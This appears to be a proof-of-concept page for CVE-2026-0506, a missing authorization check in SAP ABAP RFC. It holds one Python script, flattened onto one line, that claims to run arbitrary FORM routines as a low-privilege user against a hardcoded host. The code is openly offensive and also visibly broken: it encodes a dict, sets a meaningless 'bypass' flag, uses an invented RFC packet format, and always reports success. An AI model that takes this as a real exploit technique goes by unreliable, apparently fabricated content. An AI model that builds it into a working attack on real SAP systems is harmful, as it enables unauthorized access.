CVE-2026-0506：SAP ABAP缺少授权检查漏洞

# CVE-2026-0506 PoC - SAP ABAP Unauthorized FORM Execution via RFC # This PoC demonstrates the exploitation of missing authorization check # in SAP ABAP RFC function module import socket import struct def create_rfc_connection(target_ip, target_port, sysnr): """Establish RFC connection to SAP ABAP system""" rfc_conn = { 'host': target_ip, 'port': target_port, 'sysnr': sysnr, 'client': '001', 'user': 'SAPUSER', # Low-privilege user 'password': 'password123' } return rfc_conn def exploit_missing_auth_check(rfc_conn, target_form): """Exploit CVE-2026-0506 by calling FORM without proper authorization""" # Construct malicious RFC request to invoke FORM exploit_payload = { 'FUNCTION_NAME': 'RFC_FUNCTION_MODULE', 'FORM_NAME': target_form, # Target FORM routine 'IMPORT_PARAMS': { 'PARAM1': 'malicious_data', 'PARAM2': 'unauthorized_execution' }, 'AUTHORIZATION_BYPASS': True # Exploit missing auth check } # Send RFC request without proper authorization validation response = send_rfc_request(rfc_conn, exploit_payload) return response def send_rfc_request(conn, payload): """Send RFC request to SAP system""" # RFC protocol implementation rfc_packet = build_rfc_packet(payload) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((conn['host'], conn['port'])) sock.send(rfc_packet) response = sock.recv(4096) sock.close() return parse_rfc_response(response) def build_rfc_packet(payload): """Build RFC protocol packet""" # RFC protocol header and payload construction packet = b'RFC' # RFC signature packet += struct.pack('>I', len(payload)) packet += payload.encode('utf-8') return packet def parse_rfc_response(response): """Parse RFC response""" return {'status': 'success', 'data': response} # Example usage if __name__ == '__main__': target = '192.168.1.100' port = 3300 sysnr = '00' # Connect to SAP system conn = create_rfc_connection(target, port, sysnr) # Target FORM routine for exploitation target_form = ' arbitrary_form_routine' # Execute exploit result = exploit_missing_auth_check(conn, target_form) print(f"Exploitation result: {result}")